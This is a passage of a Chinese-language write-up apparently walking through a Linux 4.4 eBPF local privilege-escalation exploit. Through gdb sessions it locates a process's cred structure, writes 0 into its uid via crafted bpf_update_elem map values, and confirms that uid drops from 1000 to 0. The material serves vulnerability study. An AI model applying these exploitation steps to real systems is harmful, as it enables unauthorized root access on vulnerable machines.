  9. 0xffffffff811778d9 <__bpf_prog_run+3657>: mov QWORD PTR [rax+rdx*1],rcx

  10. 0xffffffff811778dd <__bpf_prog_run+3661>: jmp 0xffffffff81176ae0 <__bpf_prog_run+80>

  11. 0xffffffff811778e2 <__bpf_prog_run+3666>: lfence

  12. (gdb) i r $rax

  13. rax 0xffff880074cb5e00 -131939435848192

  14. (gdb) p (struct task_struct *)0xffff880074343c00

  15. $15 = (struct task_struct *) 0xffff880074343c00

  16. (gdb) p ((struct task_struct *)0xffff880074343c00)->cred

  17. $16 = (const struct cred *) 0xffff880074cb5e00

  18. (gdb) p &((struct task_struct *)0xffff880074343c00)->cred

  19. $17 = (const struct cred **) 0xffff8800743441f8

  20. (gdb) x/10x 0xffff880074343c00+0x5f8

  21. 0xffff8800743441f8: 0x74cb5e00 0xffff8800 0x00707865 0x65742d00

  22. 0xffff880074344208: 0x6e696d72 0x002d6c61 0x00000000 0x00000000

  23. 0xffff880074344218: 0x00000000 0x00000000

  24. (gdb)

上图中rax的值0xffff880074cb5e00即为从task_struct中读取到的指向cred的指针。

cred的地址得到了,再加上uid在cred中的偏移(固定为4)便得到了uid的地址0xffff880074cb5e04,然后构造写数据的map指令:


 
 
 
  1. bpf_update_elem(0, 2);

  2. bpf_update_elem(1, 0xffff880074cb5e04);

  3. bpf_update_elem(2, 0);

过程如下(由于第一次运行exp的时候,这里没断下来,所以下面的过程是第二次运行的过程,中间一些结构体的地址发生了稍微的变化):


 
 
 
  1. (gdb) p ((struct task_struct*)0xffff880079afe900)->cred->uid

  2. $38 = {val = 1000} //`此时uid还是1000`

  3. (gdb) ni

  4. 0xffffffff811778ac 856 LDST(DW, u64)

  5. (gdb) p ((struct task_struct*)0xffff880079afe900)->cred->uid

  6. $39 = {val = 1000}

  7. (gdb) ni

  8. 0xffffffff811778b4 856 LDST(DW, u64)

  9. (gdb) p ((struct task_struct*)0xffff880079afe900)->cred->uid

  10. $40 = {val = 1000}

  11. (gdb) ni

  12. Thread 1 hit Breakpoint 13, 0xffffffff811778b8 in __bpf_prog_run (ctx=0xffff8800746c9d80,

  13. insn=0xffffc900005b5168) at /build/linux-fQ94TU/linux-4.4.0/kernel/bpf/core.c:856

  14. 856 LDST(DW, u64)

  15. (gdb) p ((struct task_struct*)0xffff880079afe900)->cred->uid

  16. $41 = {val = 0} `//此时uid已经变为0`

  17. (gdb) x/10i $rip-12

  18. 0xffffffff811778ac <__bpf_prog_run+3612>: mov rax,QWORD PTR [rbp+rax*8-0x270]

  19. 0xffffffff811778b4 <__bpf_prog_run+3620>: mov QWORD PTR [rcx+rdx*1],rax `//就是这里改变了uid的值`

  20. => 0xffffffff811778b8 <__bpf_prog_run+3624>: jmp 0xffffffff81176ae0 <__bpf_prog_run+80>

  21. 0xffffffff811778bd <__bpf_prog_run+3629>: movzx eax,BYTE PTR [rbx+0x1]

  22. 0xffffffff811778c1 <__bpf_prog_run+3633>: movsx rdx,WORD PTR [rbx+0x2]

  23. 0xffffffff811778c6 <__bpf_prog_run+3638>: add rbx,0x8

  24. 0xffffffff811778ca <__bpf_prog_run+3642>: movsxd rcx,DWORD PTR [rbx-0x4]

  25. 0xffffffff811778ce <__bpf_prog_run+3646>: and eax,0xf

  26. 0xffffffff811778d1 <__bpf_prog_run+3649>: mov rax,QWORD PTR [rbp+rax*8-0x270]

  27. 0xffffffff811778d9 <__bpf_prog_run+3657>: mov QWORD PTR [rax+rdx*1],rcx

  28. (gdb) x/1l ($rcx+$rdx*1) `//$rcx+$rdx*1的值0xffff880075b7ca84即为uid的地址`

  29. 0xffff880075b7ca84: Undefined output format "l".

  30. (gdb) p &((struct task_struct*)0xffff880079afe900)->cred->uid

  31. $43 = (kuid_t *) 0xffff880075b7ca84

  32. (gdb) i r $rax `//此时rax为我们需要些到uid地址的值0`

  33. rax 0x0 0

  34. (gdb)

提权成功:

到此整个漏洞利用完成,后面的部分写的有点仓促了,如果有错误的地方,还请各位朋友不吝赐教。

文章转自与华盟网

【声明】内容源于网络
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